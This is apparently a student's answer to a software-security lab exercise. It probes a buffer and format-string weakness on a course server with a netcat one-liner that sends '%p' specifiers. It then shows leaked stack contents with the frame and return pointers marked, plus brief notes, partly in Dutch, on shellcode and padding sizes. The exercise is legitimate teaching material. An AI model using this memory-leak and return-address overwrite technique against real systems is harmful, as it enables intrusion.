ass5b/mart/sws1-assignment5b-s4109503-s4202015/exercise2

   1 a)
   2 The buffer is probably 104 characters wide. All characters over 104 will not be
   3 echoed.
   4
   5 b,c)
   6 printf "%52s\n" | sed 's/ /%p/g' | nc hackme.cs.ru.nl 2266 |\ sed 's/(nil)\|0x/\n&/g'
   7
   8 Memory:
   9 0x7ffff7ff8066
  10 0x7ffff7dd8de0
  11 0xfbad2088
  12 0x7025702570257025
  13 0x7025702570257025
  14 0x7025702570257025
  15 0x7025702570257025
  16 0x7025702570257025
  17 0x7025702570257025
  18 0x7025702570257025
  19 0x7025702570257025
  20 0x7025702570257025
  21 0x7025702570257025
  22 0x7025702570257025
  23 0x7025702570257025
  24 0x7025702570257025
  25 0x7025702570257025
  26 0x702570257025
  27 0x7fffffffeb40
  28 0x7fffffffebd0          Saved frame pointer
  29 0x4006a9                Return pointer
  30 (nil)
  31 0x100400530
  32 0x7fffffffebe0
  33 0x4006c2
  34 (nil)
  35 0x7ffff7a70ead
  36 (nil)
  37 0x7fffffffecc8
  38 0x100000000
  39 0x4006b9
  40 (nil)
  41 0x1aad25fd1bef7a81
  42 0x400530
  43 0x7fffffffecc0
  44 (nil)
  45 (nil)
  46 0xe552da02cc0f7a81
  47 0xe552cab3073f7a81
  48 0x7fff00000000
  49 (nil)
  50 (nil)
  51 0x4006e0
  52 0x7fffffffecc8
  53 0x1
  54 (nil)
  55 (nil)
  56 0x400530
  57 0x7fffffffecc0
  58 (nil)
  59 0x400559
  60
  61 30 bytes shell codes
  62 14 bytes in de zooi
  63 94 bytes zooi
  64
  65 104 zooi
  66 8 bytes waarde?
  67 8 frame pointer?
  68 8 return pointer